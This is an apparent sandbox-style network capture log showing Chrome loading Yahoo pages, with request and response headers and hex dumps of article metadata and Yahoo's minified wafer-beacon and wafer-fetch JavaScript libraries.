49 6d 6d 65 72 Data Ascii: shut-down-jimmy-172400018.html","hasScribble":false,"hasSlickVideo":false,"hasXraySideRail":false,"heroModule":{},"hideAllAds":false,"hostedType":"hosted","hrefLangs":[],"isBrandedContent":false,"isCommentsEligible":false,"isCreatorContent":false,"isImmer
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 70 22 3a 22 67 6f 6f 64 5f 68 6f 75 73 65 6b 65 65 70 69 6e 67 5f 35 36 31 22 7d 2c 22 73 61 6c 69 65 6e 74 45 6e 74 69 74 69 65 73 22 3a 5b 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 54 79 70 65 22 3a 22 77 69 6b 69 5f 69 64 22 2c 22 73 65 63 6f 6e 64 61 72 79 49 64 73 22 3a 7b 22 77 69 6b 69 5f 69 64 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 79 6b 5f 69 64 22 3a 22 39 66 65 39 33 63 65 35 2d 64 30 66 62 2d 34 30 36 65 2d 38 37 37 66 2d 33 32 62 65 39 62 31 38 36 61 35 32 22 7d 2c 22 74 65 78 74 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 2c 22 74 79 70 65 22 3a 22 50 45 52 53 4f 4e 22 7d 2c 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 4a 69 6d 6d 79 5f 4b 69 6d 6d 65 Data Ascii: p":"good_housekeeping_561"},"salientEntities":[{"canonicalId":"Kaley_Cuoco","canonicalType":"wiki_id","secondaryIds":{"wiki_id":"Kaley_Cuoco","yk_id":"9fe93ce5-d0fb-406e-877f-32be9b186a52"},"text":"Kaley Cuoco","type":"PERSON"},{"canonicalId":"Jimmy_Kimme
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6d 6d 65 6c 2c 41 6d 61 7a 6f 6e 5f 50 72 69 6d 65 2c 54 6f 6d 5f 50 65 6c 70 68 72 65 79 2c 52 6f 6c 65 2d 70 6c 61 79 69 6e 67 22 2c 22 78 72 61 79 4d 65 74 61 22 3a 5b 7b 22 74 79 70 65 22 3a 22 77 69 6b 69 22 2c 22 69 64 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 73 75 62 54 79 70 65 22 3a 22 41 63 74 6f 72 22 2c 22 77 69 6b 69 43 61 74 65 67 6f 72 79 22 3a 22 50 45 52 53 4f 4e 22 2c 22 6c 6f 6e 67 4e 61 6d 65 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 2c 22 73 68 6f 72 74 4e 61 6d 65 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 2c 22 73 74 61 72 74 63 68 61 72 22 3a 32 36 35 2c 22 65 6e 64 63 68 61 72 22 3a 32 37 35 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 22 66 69 67 63 61 70 74 69 6f 6e 22 5d 2c 22 6e 6f 74 61 Data Ascii: mmel,Amazon_Prime,Tom_Pelphrey,Role-playing","xrayMeta":[{"type":"wiki","id":"Kaley_Cuoco","subType":"Actor","wikiCategory":"PERSON","longName":"Kaley Cuoco","shortName":"Kaley Cuoco","startchar":265,"endchar":275,"instanceParentTags":["figcaption"],"nota
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 78 35 30 30 22 2c 22 68 65 69 67 68 74 22 3a 35 30 30 2c 22 77 69 64 74 68 22 3a 35 30 30 2c 22 74 61 67 22 3a 22 6f 72 69 67 69 6e 61 6c 22 7d 2c 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 66 7a 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 72 43 70 74 36 4d 42 55 51 47 45 58 33 78 63 4e 4c 62 2e 51 55 67 2d 2d 7e 41 2f 59 58 42 77 61 57 51 39 65 57 35 6c 64 33 4d 37 5a 6d 6b 39 5a 6d 6c 30 4f 32 67 39 4e 44 67 37 63 54 30 78 4d 44 41 37 64 7a 30 30 4f 41 2d 2d 2f 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 7a 62 2f 69 6d 67 76 31 2f 31 31 65 66 36 39 62 38 2d 36 65 63 36 2d 33 32 66 64 2d 62 65 34 30 2d 35 34 66 35 35 64 64 38 35 30 65 35 2f 73 5f 35 30 30 78 35 30 30 22 2c 22 68 65 69 67 68 74 22 3a 34 38 2c Data Ascii: x500","height":500,"width":500,"tag":"original"},{"url":"https://s.yimg.com/fz/api/res/1.2/rCpt6MBUQGEX3xcNLb.QUg--~A/YXBwaWQ9eW5ld3M7Zmk9Zml0O2g9NDg7cT0xMDA7dz00OA--/https://s.yimg.com/zb/imgv1/11ef69b8-6ec6-32fd-be40-54f55dd850e5/s_500x500","height":48,
2024-01-10 23:27:11 UTC	192	IN	Data Raw: 53 5c 22 3a 5c 22 4c 65 73 73 5c 22 2c 5c 22 4c 49 56 45 5f 49 53 5f 4f 56 45 52 5c 22 3a 5c 22 4c 49 56 45 20 43 4f 56 45 52 41 47 45 20 49 53 20 4f 56 45 52 5c 22 2c 5c 22 4c 4f 41 44 49 4e 47 5c 22 3a 5c 22 4c 6f 61 64 69 6e 67 5c 22 2c 5c 22 4d 4f 52 45 5c 22 3a 5c 22 4d 6f 72 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 53 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 73 5c 22 2c 5c 22 4a 55 53 54 5f 4e 4f 57 5c 22 3a 5c 22 4a 75 73 74 20 6e 6f 77 5c 22 2c 5c 22 52 45 4c 4f Data Ascii: S\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELO
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 41 44 5c 22 3a 5c 22 43 6c 69 63 6b 20 74 6f 20 72 65 6c 6f 61 64 20 77 69 74 68 20 6c 61 74 65 73 74 20 75 70 64 61 74 65 5c 22 2c 5c 22 53 45 45 20 7b 30 7d 20 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 7b 30 7d 20 6d 6f 72 65 5c 22 2c 5c 22 53 45 45 5f 4c 45 53 53 5c 22 3a 5c 22 53 65 65 20 6c 65 73 73 5c 22 2c 5c 22 53 45 45 5f 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 6d 6f 72 65 5c 22 2c 5c 22 53 48 4f 57 5f 4d 4f 52 45 5c 22 3a 5c 22 53 68 6f 77 20 6d 6f 72 65 20 75 70 64 61 74 65 73 5c 22 2c 5c 22 54 4f 44 41 59 5c 22 3a 5c 22 54 6f 64 61 79 5c 22 2c 5c 22 54 52 59 5f 41 47 41 49 4e 5c 22 3a 5c 22 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 72 79 20 61 67 61 69 6e 5c 22 2c 5c 22 55 50 44 41 54 45 53 5c 22 3a 5c 22 75 70 64 61 74 Data Ascii: AD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATES\":\"updat
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 65 77 4c 69 6d 69 74 5c 22 3a 35 2c 5c 22 66 72 65 65 7a 65 4f 6e 4c 69 6e 6b 43 6c 69 63 6b 5c 22 3a 74 72 75 65 2c 5c 22 6c 61 7a 79 4f 66 66 73 65 74 59 5c 22 3a 31 33 30 30 2c 5c 22 6c 69 76 65 63 6f 76 65 72 61 67 65 5c 22 3a 7b 5c 22 64 65 66 65 72 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 69 6d 61 67 65 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 33 2c 5c 22 73 6c 69 64 65 73 68 6f 77 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 32 2c 5c 22 75 69 53 68 6f 77 50 72 65 76 69 6f 75 73 42 75 74 74 6f 6e 4f 6e 4c 6f 61 64 5c 22 3a 74 72 75 65 2c 5c 22 70 72 65 73 74 69 67 65 53 63 72 6f 6c 6c 4d 61 72 67 69 6e 54 6f 70 5c 22 3a 2d 37 32 7d 7d 27 20 64 61 74 61 2d 73 70 61 63 65 2d 69 64 Data Ascii: ewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6e 69 6e 67 20 4d 69 6e 69 20 53 6b 69 72 74 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 63 6f 6e 74 65 6e 74 2d 62 79 6c 69 6e 65 2d 77 72 61 70 70 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 6d 65 74 61 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 69 74 65 6d 2d 61 75 74 68 6f 72 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 75 74 68 6f 72 2d 62 79 6c 69 6e 65 2d 63 6f 6c 6c 61 70 73 65 3e 41 64 72 69 61 6e 6e 61 20 46 72 65 65 64 6d 61 6e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 74 69 6d 65 2d 73 74 79 6c 65 Data Ascii: ning Mini Skirt</h1></div></header><div class=caas-content-byline-wrapper><div class=caas-attr><div class=caas-attr-meta><div class=caas-attr-item-author><span class=caas-author-byline-collapse>Adrianna Freedman</span></div><div class=caas-attr-time-style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49844	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	539	OUT	GET /aaq/wf/wf-beacon-1.3.4-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: Qf/5uuiWKQ4nz3Z66y9dm7aDoGUMw6x8A9oAXsMF9/pUAKWNFngXM1CNkPZnIMyWKthDCdYyQX4= x-amz-request-id: 24BYK4QD31XYYSEW Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Mon, 13 Feb 2023 05:31:36 GMT ETag: "397b59e3eeca4f747ea1f6ff6323154c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: tENZ6Ri2vrrjg96D4AX.qx653XeJQH2M Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 10637 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	163	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-beacon",[],t):"object"==typ
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 5b 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 5d 3d 74 28 29 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 69 66 28 72 5b 6e 5d 29 72 65 74 75 72 6e 20 72 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 72 5b 6e 5d 3d 7b 69 3a 6e 2c Data Ascii: eof exports?exports["wafer-beacon"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-beacon"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d Data Ascii: proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 72 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 72 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 68 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 72 2c 6e 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 Data Ascii: le=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),h=function e(t,r,n){null===t&&(t=Function.prototype);var i=Object.getOwnPropertyDescript
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 29 3a 35 30 2c 50 3d 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 4f 2b 22 74 72 69 67 67 65 72 2d 63 75 6d 75 6c 61 74 69 76 65 22 29 2c 41 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4f 2b 22 62 65 61 63 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 6c 61 73 73 22 29 7c 7c 22 22 2c 45 3d 21 21 50 2c 78 3d 63 26 26 70 61 72 73 65 49 6e 74 28 63 2c 31 30 29 3b 72 65 74 75 72 6e 20 78 7c 7c 28 78 3d 22 63 6c 69 63 6b 22 3d 3d 3d 67 7c 7c 22 65 61 63 68 43 6c 69 63 6b 22 3d 3d 3d 67 7c 7c 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 67 7c 7c 22 6f 6e 4c 6f 61 64 22 3d 3d 3d 67 3f 30 3a 31 65 33 29 2c 73 2e 5f 75 74 69 6c 3d 6c 28 7b 7d 2c 73 2e 5f 75 74 69 6c 2c 7b 22 69 6d 61 67 65 2d 62 65 61 63 6f 6e 73 22 3a 75 2c 62 65 61 63 6f 6e 73 3a 68 2c 64 65 6c Data Ascii: ):50,P=e.hasAttribute(O+"trigger-cumulative"),A=e.getAttribute(O+"beacon-container-class")\|\|"",E=!!P,x=c&&parseInt(c,10);return x\|\|(x="click"===g\|\|"eachClick"===g\|\|"mouseenter"===g\|\|"onLoad"===g?0:1e3),s._util=l({},s._util,{"image-beacons":u,beacons:h,del
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 56 69 73 69 62 6c 65 26 26 77 28 6f 2c 6c 28 7b 7d 2c 69 2c 7b 6f 66 66 73 65 74 58 3a 68 2c 6f 66 66 73 65 74 59 3a 76 7d 29 2c 64 2e 76 69 65 77 70 6f 72 74 29 29 29 72 65 74 75 72 6e 20 61 26 26 61 2e 73 70 6c 69 74 28 22 7c 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6d 28 65 29 7d 29 2c 72 26 26 72 2e 73 70 6c 69 74 28 22 7c 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6d 28 65 2c 7b 75 73 65 4e 61 76 69 67 61 74 6f 72 3a 21 31 2c 75 73 65 54 69 6d 65 73 74 61 6d 70 3a 21 31 7d 29 7d 29 2c 65 2e 73 68 6f 75 6c 64 41 6c 77 61 79 73 54 72 69 67 67 65 72 28 29 7c 7c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 70 2e 72 65 70 6c 61 63 65 28 22 2e 22 2c Data Ascii: Visible&&w(o,l({},i,{offsetX:h,offsetY:v}),d.viewport)))return a&&a.split("\|").forEach(function(e){return m(e)}),r&&r.split("\|").forEach(function(e){return m(e,{useNavigator:!1,useTimestamp:!1})}),e.shouldAlwaysTrigger()\|\|o.classList.remove(p.replace(".",
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2e 5f 75 74 69 6c 2e 6f 66 66 73 65 74 59 7c 7c 65 7d 7d 2c 7b 6b 65 79 3a 22 6f 66 66 73 65 74 58 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 30 3b 74 68 69 73 2e 5f 75 74 69 6c 2e 6f 66 66 73 65 74 58 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 6f 66 66 73 65 74 58 7c 7c 65 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 66 69 67 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 3b 72 65 74 75 72 6e 7b 6f 66 66 73 65 74 58 3a 65 2e 6f 66 66 73 65 74 58 2c 6f 66 66 73 65 74 59 3a 65 2e 6f 66 66 73 65 74 59 2c 73 75 63 63 65 73 73 43 6c 61 Data Ascii: ._util.offsetY\|\|e}},{key:"offsetX",set:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this._util.offsetX=this._util.offsetX\|\|e}},{key:"config",get:function(){var e=this._util;return{offsetX:e.offsetX,offsetY:e.offsetY,successCla
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6d 65 6e 74 49 6e 56 69 65 77 2c 58 3d 41 2e 74 68 72 6f 74 74 6c 65 2c 59 3d 41 2e 75 6e 62 69 6e 64 45 76 65 6e 74 2c 49 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2c 4c 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 73 2e 57 61 66 65 72 42 61 73 65 43 6f 6e 74 72 6f 6c 6c 65 72 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 6e 75 6c 6c 3a 72 2c 69 3d 65 2e 72 6f 6f 74 2c 6f 3d 76 6f 69 64 20 30 3d Data Ascii: mentInView,X=A.throttle,Y=A.unbindEvent,I=window.wafer.base,L=window.wafer.controllers.WaferBaseController,V=function(e){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.containerClass,n=void 0===r?null:r,i=e.root,o=void 0=
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6e 63 74 69 6f 6e 28 74 29 7b 59 28 74 2c 22 73 63 72 6f 6c 6c 22 2c 65 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 64 69 64 53 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 72 3d 74 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 6e 3d 74 2e 6d 6f 75 6e 74 65 64 3b 69 66 28 30 21 3d 3d 72 2e 73 69 7a 65 29 7b 69 66 28 21 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 6d 6f 75 6e 74 65 64 3d 21 30 2c 69 26 26 78 28 69 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 45 28 74 2c 22 73 63 72 6f 6c 6c 22 2c 65 2e 5f 76 61 6c Data Ascii: nction(t){Y(t,"scroll",e._validateWithThrottle)})}},{key:"didSync",value:function(){var e=this,t=this._state,r=t.elementInstances,n=t.mounted;if(0!==r.size){if(!n){var i=this._options.container;this._state.mounted=!0,i&&x(i,function(t){E(t,"scroll",e._val
2024-01-10 23:27:11 UTC	74	IN	Data Raw: 29 74 68 72 6f 77 20 6e 7d 7d 7d 7d 5d 29 2c 74 7d 28 4c 29 2c 42 3d 56 3b 74 2e 64 65 66 61 75 6c 74 3d 6e 65 77 20 42 28 7b 73 65 6c 65 63 74 6f 72 3a 22 2e 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 7d 29 7d 7d 29 7d 29 3b Data Ascii: )throw n}}}}]),t}(L),B=V;t.default=new B({selector:".wafer-beacon"})}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49848	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	539	OUT	GET /aaq/wf/wf-fetch-1.19.1-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: if2ahZATN5fpwKSp4E8Xhe8dP1eB8HSfw45L0o1I4PDC8/twWkRSYUSDhor8ui3aV3jzy1nq8gw= x-amz-request-id: 24BT9NR1ZK59P740 Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Fri, 20 Oct 2023 09:18:13 GMT ETag: "f085d6c42acb1394e457e463230de8ba" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: XcyEKreDz4JYLdlgGq65LAHV5Dsub3V6 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 16798 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 66 65 74 63 68 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-fetch",[],t):"object"==typeof exports?exports["wafer-fetch"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
